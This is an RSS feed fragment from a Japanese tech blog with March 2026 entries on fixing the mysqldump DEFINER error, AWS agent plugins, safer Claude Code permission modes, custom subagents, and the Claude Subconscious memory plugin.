約200行で動く自律型金融リサーチエージェント</title><link>https://hdknr.github.io/blogs/posts/2026/03/dexter-%E7%B4%84200%E8%A1%8C%E3%81%A7%E5%8B%95%E3%81%8F%E8%87%AA%E5%BE%8B%E5%9E%8B%E9%87%91%E8%9E%8D%E3%83%AA%E3%82%B5%E3%83%BC%E3%83%81%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88/</link><pubDate>Thu, 26 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/dexter-%E7%B4%84200%E8%A1%8C%E3%81%A7%E5%8B%95%E3%81%8F%E8%87%AA%E5%BE%8B%E5%9E%8B%E9%87%91%E8%9E%8D%E3%83%AA%E3%82%B5%E3%83%BC%E3%83%81%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88/</guid><description>約200行のTypeScriptで動くオープンソースの金融リサーチAIエージェント Dexter の仕組み、アーキテクチャ、始め方を解説</description></item><item><title>mysqldump エラー 1449: DEFINER が存在しないユーザーを参照している場合の対処法</title><link>https://hdknr.github.io/blogs/posts/2026/03/mysqldump-%E3%82%A8%E3%83%A9%E3%83%BC-1449-definer-%E3%81%8C%E5%AD%98%E5%9C%A8%E3%81%97%E3%81%AA%E3%81%84%E3%83%A6%E3%83%BC%E3%82%B6%E3%83%BC%E3%82%92%E5%8F%82%E7%85%A7%E3%81%97%E3%81%A6%E3%81%84%E3%82%8B%E5%A0%B4%E5%90%88%E3%81%AE%E5%AF%BE%E5%87%A6%E6%B3%95/</link><pubDate>Thu, 26 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/mysqldump-%E3%82%A8%E3%83%A9%E3%83%BC-1449-definer-%E3%81%8C%E5%AD%98%E5%9C%A8%E3%81%97%E3%81%AA%E3%81%84%E3%83%A6%E3%83%BC%E3%82%B6%E3%83%BC%E3%82%92%E5%8F%82%E7%85%A7%E3%81%97%E3%81%A6%E3%81%84%E3%82%8B%E5%A0%B4%E5%90%88%E3%81%AE%E5%AF%BE%E5%87%A6%E6%B3%95/</guid><description>&lt;p&gt;&lt;code&gt;mysqldump&lt;/code&gt; でデータベースをダンプしようとしたら、こんなエラーが出て止まった経験はないでしょうか。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;mysqldump: Got error: 1449: The user specified as a definer (&amp;#39;root&amp;#39;@&amp;#39;%&amp;#39;) does not exist when using LOCK TABLES
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;これは MySQL の &lt;strong&gt;DEFINER&lt;/strong&gt; という仕組みに起因するエラーです。ビューやストアドプロシージャの作成時に記録された「定義者（DEFINER）」ユーザーが、現在のサーバー上に存在しない場合に発生します。&lt;/p&gt;
&lt;h2 id="なぜ起きるのか"&gt;なぜ起きるのか&lt;/h2&gt;
&lt;p&gt;MySQL のビュー、ストアドプロシージャ、トリガー、イベントには &lt;code&gt;DEFINER&lt;/code&gt; 属性があります。これはそのオブジェクトを作成した MySQL ユーザーを記録したもので、&lt;code&gt;SQL SECURITY DEFINER&lt;/code&gt;（デフォルト）の場合、オブジェクトの実行は &lt;strong&gt;DEFINER ユーザーの権限&lt;/strong&gt; で行われます。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mysqldump&lt;/code&gt; は &lt;code&gt;LOCK TABLES&lt;/code&gt; を実行する際、ダンプ対象のビューなどの &lt;code&gt;DEFINER&lt;/code&gt; ユーザーを参照します。このとき、DEFINER に設定されたユーザー（例: &lt;code&gt;'root'@'%'&lt;/code&gt;）がサーバー上に存在しなければ、エラー 1449 で処理が中断されます。&lt;/p&gt;
&lt;p&gt;よくあるシナリオ:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;本番環境から別環境にデータベースをコピーした際、元の環境にいた &lt;code&gt;root@'%'&lt;/code&gt; が移行先に存在しない&lt;/li&gt;
&lt;li&gt;MySQL のユーザーを整理した際、ビューの DEFINER を更新し忘れた&lt;/li&gt;
&lt;li&gt;&lt;code&gt;root@'localhost'&lt;/code&gt; しか存在しないのに、ビューが &lt;code&gt;root@'%'&lt;/code&gt; で作成されていた&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="definer-が問題のオブジェクトを特定する"&gt;DEFINER が問題のオブジェクトを特定する&lt;/h2&gt;
&lt;p&gt;まず、どのオブジェクトが問題の原因かを &lt;code&gt;information_schema&lt;/code&gt; で確認します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- ビュー
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;SELECT&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;DEFINER&lt;/span&gt;, TABLE_SCHEMA, &lt;span style="color:#66d9ef"&gt;TABLE_NAME&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;FROM&lt;/span&gt; information_schema.VIEWS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;WHERE&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;DEFINER&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;LIKE&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;%root@%&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- ストアドプロシージャ / ファンクション
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;SELECT&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;DEFINER&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;ROUTINE_SCHEMA&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;ROUTINE_NAME&lt;/span&gt;, ROUTINE_TYPE
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;FROM&lt;/span&gt; information_schema.ROUTINES
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;WHERE&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;DEFINER&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;LIKE&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;%root@%&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- イベント
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;SELECT&lt;/span&gt; EVENT_CATALOG, EVENT_SCHEMA, EVENT_NAME, &lt;span style="color:#66d9ef"&gt;DEFINER&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;FROM&lt;/span&gt; information_schema.EVENTS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;WHERE&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;DEFINER&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;LIKE&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;%root@%&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- トリガー
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;SELECT&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;TRIGGER_SCHEMA&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;TRIGGER_NAME&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;DEFINER&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;FROM&lt;/span&gt; information_schema.TRIGGERS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;WHERE&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;DEFINER&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;LIKE&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;%root@%&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;多くの場合、ビューが原因です。該当するオブジェクトが見つかったら、その定義を確認しましょう。&lt;/p&gt;</description></item><item><title>Agent Plugins for AWS: Claude Code から AWS アーキテクチャ設計・デプロイまで一気通貫</title><link>https://hdknr.github.io/blogs/posts/2026/03/agent-plugins-for-aws-claude-code-%E3%81%8B%E3%82%89-aws-%E3%82%A2%E3%83%BC%E3%82%AD%E3%83%86%E3%82%AF%E3%83%81%E3%83%A3%E8%A8%AD%E8%A8%88%E3%83%87%E3%83%97%E3%83%AD%E3%82%A4%E3%81%BE%E3%81%A7%E4%B8%80%E6%B0%97%E9%80%9A%E8%B2%AB/</link><pubDate>Wed, 25 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/agent-plugins-for-aws-claude-code-%E3%81%8B%E3%82%89-aws-%E3%82%A2%E3%83%BC%E3%82%AD%E3%83%86%E3%82%AF%E3%83%81%E3%83%A3%E8%A8%AD%E8%A8%88%E3%83%87%E3%83%97%E3%83%AD%E3%82%A4%E3%81%BE%E3%81%A7%E4%B8%80%E6%B0%97%E9%80%9A%E8%B2%AB/</guid><description>&lt;p&gt;AWS が「&lt;strong&gt;Agent Plugins for AWS&lt;/strong&gt;」を公開しました。AI コーディングエージェント（Claude Code や Cursor など）に、AWS のアーキテクチャ設計からデプロイ実行までの能力を組み込むオープンソースのプラグインライブラリです。&lt;/p&gt;
&lt;h2 id="agent-plugins-for-aws-とは"&gt;Agent Plugins for AWS とは&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/awslabs/agent-plugins"&gt;Agent Plugins for AWS&lt;/a&gt; は、AWS Labs が開発・公開したオープンソースプロジェクトです。コスト見積もり、Infrastructure as Code（IaC）の生成、デプロイといった AWS 固有のスキルセットを AI エージェントに追加できます。&lt;/p&gt;
&lt;p&gt;プラグインは以下の要素で構成されています:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Agent Skills&lt;/strong&gt;: 複雑なタスクをステップバイステップで実行するワークフロー。デプロイやアーキテクチャ設計のベストプラクティスを手順として組み込んだもの&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MCP サーバー&lt;/strong&gt;: 外部サービス、ドキュメント、料金データなどへのリアルタイム接続&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hooks&lt;/strong&gt;: 開発者のアクションに対するバリデーションやガードレール&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="deploy-on-aws-プラグイン"&gt;deploy-on-aws プラグイン&lt;/h2&gt;
&lt;p&gt;現時点で提供されている主要プラグインが &lt;strong&gt;deploy-on-aws&lt;/strong&gt; です。「deploy to AWS」と指示するだけで、以下の 5 ステップを自動実行します:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;コードベースの分析&lt;/strong&gt;: アプリケーションの構成・依存関係を解析&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AWS サービスの推奨&lt;/strong&gt;: 最適な AWS サービスを理由付きで提案&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コスト見積もり&lt;/strong&gt;: 推奨構成の月額コストを試算&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IaC の生成&lt;/strong&gt;: CDK または CloudFormation でインフラコードを生成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デプロイ実行&lt;/strong&gt;: ユーザーの確認後にデプロイ&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;AWS によると、従来は数時間かかっていたデプロイフローが約 10 分で完了するとのことです。&lt;/p&gt;
&lt;h2 id="claude-code-へのインストール"&gt;Claude Code へのインストール&lt;/h2&gt;
&lt;p&gt;Claude Code では、プラグインマーケットプレイス経由でインストールします:&lt;/p&gt;</description></item><item><title>Claude Code: dangerously-skip-permissions をやめて auto mode に移行する</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-dangerously-skip-permissions-%E3%82%92%E3%82%84%E3%82%81%E3%81%A6-auto-mode-%E3%81%AB%E7%A7%BB%E8%A1%8C%E3%81%99%E3%82%8B/</link><pubDate>Wed, 25 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-dangerously-skip-permissions-%E3%82%92%E3%82%84%E3%82%81%E3%81%A6-auto-mode-%E3%81%AB%E7%A7%BB%E8%A1%8C%E3%81%99%E3%82%8B/</guid><description>Claude Code の dangerously-skip-permissions は権限チェックを完全無視する危険なオプション。auto mode なら安全性チェック付きでツールを自動承認できる。設定方法と違いを解説。</description></item><item><title>Claude Codeで「専門家チーム」を構築する：カスタムエージェントとCoworkの活用法</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E3%81%A7%E5%B0%82%E9%96%80%E5%AE%B6%E3%83%81%E3%83%BC%E3%83%A0%E3%82%92%E6%A7%8B%E7%AF%89%E3%81%99%E3%82%8B%E3%82%AB%E3%82%B9%E3%82%BF%E3%83%A0%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%A8cowork%E3%81%AE%E6%B4%BB%E7%94%A8%E6%B3%95/</link><pubDate>Wed, 25 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E3%81%A7%E5%B0%82%E9%96%80%E5%AE%B6%E3%83%81%E3%83%BC%E3%83%A0%E3%82%92%E6%A7%8B%E7%AF%89%E3%81%99%E3%82%8B%E3%82%AB%E3%82%B9%E3%82%BF%E3%83%A0%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%A8cowork%E3%81%AE%E6%B4%BB%E7%94%A8%E6%B3%95/</guid><description>&lt;p&gt;&lt;a href="https://hdknr.github.io/blogs/posts/2026-03-23-notebooklm-20-experts/"&gt;前回の記事&lt;/a&gt;では、NotebookLM を使って「20人の専門家チーム」を構築する方法を紹介しました。この記事では、同じ考え方を Claude Code や Cowork で実現する方法を解説します。&lt;/p&gt;
&lt;h2 id="notebooklm-と-claude-code-の発想の違い"&gt;NotebookLM と Claude Code の発想の違い&lt;/h2&gt;
&lt;p&gt;NotebookLM は「入れた資料だけを根拠に回答する」ことが強みです。テーマごとにノートブックを分けることで、各ノートブックが「専門家」として機能します。&lt;/p&gt;
&lt;p&gt;Claude Code でも同じアプローチが取れます。さらに、&lt;strong&gt;コード実行・ファイル編集・外部ツール連携&lt;/strong&gt;ができるため、「相談する」だけでなく「調査して、コードを書いて、PR を作成する」ところまで一気通貫で任せられます。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;観点&lt;/th&gt;
&lt;th&gt;NotebookLM&lt;/th&gt;
&lt;th&gt;Claude Code&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;専門家の定義&lt;/td&gt;
&lt;td&gt;ノートブック + ソース&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.claude/agents/&lt;/code&gt; + ナレッジ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;知識の投入&lt;/td&gt;
&lt;td&gt;PDF / Web / Fast Research&lt;/td&gt;
&lt;td&gt;MCP / ローカルファイル / WebSearch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;同時相談&lt;/td&gt;
&lt;td&gt;手動で切替&lt;/td&gt;
&lt;td&gt;Cowork / Agent Teams で並行実行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;引用元表示&lt;/td&gt;
&lt;td&gt;自動リンク&lt;/td&gt;
&lt;td&gt;ファイルパス・行番号&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;強み&lt;/td&gt;
&lt;td&gt;非技術者でも簡単&lt;/td&gt;
&lt;td&gt;コード実行・ファイル編集が可能&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="方法1-カスタムエージェントclaudeagents"&gt;方法1: カスタムエージェント（&lt;code&gt;.claude/agents/&lt;/code&gt;）&lt;/h2&gt;
&lt;p&gt;最もシンプルで NotebookLM の「専門家ノート」に直接対応する方法です。&lt;/p&gt;
&lt;h3 id="カスタムエージェントの仕組み"&gt;カスタムエージェントの仕組み&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;.claude/agents/&lt;/code&gt; ディレクトリに Markdown ファイルを置くだけで、専門エージェントが定義できます。各ファイルにはそのドメインの専門知識・指示・参照先を書きます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.claude/agents/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;├── marketing-expert.md # マーケティング専門家
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;├── legal-advisor.md # 法務アドバイザー
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;├── seo-advisor.md # SEO アドバイザー
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└── fact-checker.md # ファクトチェッカー
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="エージェント定義ファイルの書き方"&gt;エージェント定義ファイルの書き方&lt;/h3&gt;
&lt;p&gt;Markdown ファイルの先頭に YAML フロントマターでメタ情報を定義し、本文にシステムプロンプトを書きます。詳細は &lt;a href="https://code.claude.com/docs/en/sub-agents"&gt;公式ドキュメント&lt;/a&gt; を参照してください。&lt;/p&gt;</description></item><item><title>Claude Subconscious：Claude Code にセッション横断の記憶力を与える Letta AI のオープンソースツール</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-subconsciousclaude-code-%E3%81%AB%E3%82%BB%E3%83%83%E3%82%B7%E3%83%A7%E3%83%B3%E6%A8%AA%E6%96%AD%E3%81%AE%E8%A8%98%E6%86%B6%E5%8A%9B%E3%82%92%E4%B8%8E%E3%81%88%E3%82%8B-letta-ai-%E3%81%AE%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9%E3%83%84%E3%83%BC%E3%83%AB/</link><pubDate>Wed, 25 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-subconsciousclaude-code-%E3%81%AB%E3%82%BB%E3%83%83%E3%82%B7%E3%83%A7%E3%83%B3%E6%A8%AA%E6%96%AD%E3%81%AE%E8%A8%98%E6%86%B6%E5%8A%9B%E3%82%92%E4%B8%8E%E3%81%88%E3%82%8B-letta-ai-%E3%81%AE%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9%E3%83%84%E3%83%BC%E3%83%AB/</guid><description>&lt;p&gt;Claude Code は強力な AI コーディングエージェントだが、セッションをまたいだ記憶の保持には課題があった。&lt;a href="https://github.com/letta-ai/claude-subconscious"&gt;Claude Subconscious&lt;/a&gt; は、Letta AI が開発したオープンソースのプラグインで、Claude Code にバックグラウンドで動作する永続メモリを追加する。&lt;/p&gt;
&lt;h2 id="claude-subconscious-とは"&gt;Claude Subconscious とは&lt;/h2&gt;
&lt;p&gt;Claude Subconscious は、Claude Code のセッションをバックグラウンドで監視し、ユーザーの作業パターンや好み、未完了のタスクを学習・記憶するエージェントだ。次のセッション開始時に、蓄積した記憶をプロンプトに自動注入することで、毎回ゼロからのスタートではなく、文脈を引き継いだ作業が可能になる。&lt;/p&gt;
&lt;p&gt;主な特徴:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;セッション横断の記憶&lt;/strong&gt;: 複数セッションをまたいで作業コンテキストを保持・統合&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;バックグラウンド動作&lt;/strong&gt;: Claude Code の操作をブロックせず、非同期で動作&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自動コンテキスト注入&lt;/strong&gt;: プロンプトの前に関連する記憶やガイダンスを自動挿入&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コードベースの探索&lt;/strong&gt;: Read、Grep、Glob ツールを使ってプロジェクトのコードを読み取り、理解を深める&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;完全無料・オープンソース&lt;/strong&gt;: &lt;a href="https://github.com/letta-ai/claude-subconscious"&gt;GitHub リポジトリ&lt;/a&gt; で公開中&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="仕組み"&gt;仕組み&lt;/h2&gt;
&lt;p&gt;Claude Subconscious は Claude Code のフックシステムを利用して、4 つのタイミングで介入する:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;SessionStart&lt;/strong&gt; — エージェントに通知し、レガシーファイルをクリーンアップ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UserPromptSubmit&lt;/strong&gt; — 記憶とメッセージを stdout 経由で注入（10 秒タイムアウト）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PreToolUse&lt;/strong&gt; — ワークフロー中の更新を配信（5 秒タイムアウト）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stop&lt;/strong&gt; — セッションのトランスクリプトをバックグラウンドエージェントに非同期送信&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;バンドルされたエージェントは 8 つのメモリブロックを管理する:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;メモリブロック&lt;/th&gt;
&lt;th&gt;用途&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;core_directives&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;役割定義&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;guidance&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;アクティブセッションのガイダンス&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;user_preferences&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;学習したコーディングスタイル&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;project_context&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;コードベースの知識&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;session_patterns&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;繰り返しの行動パターン&lt;/td&gt;
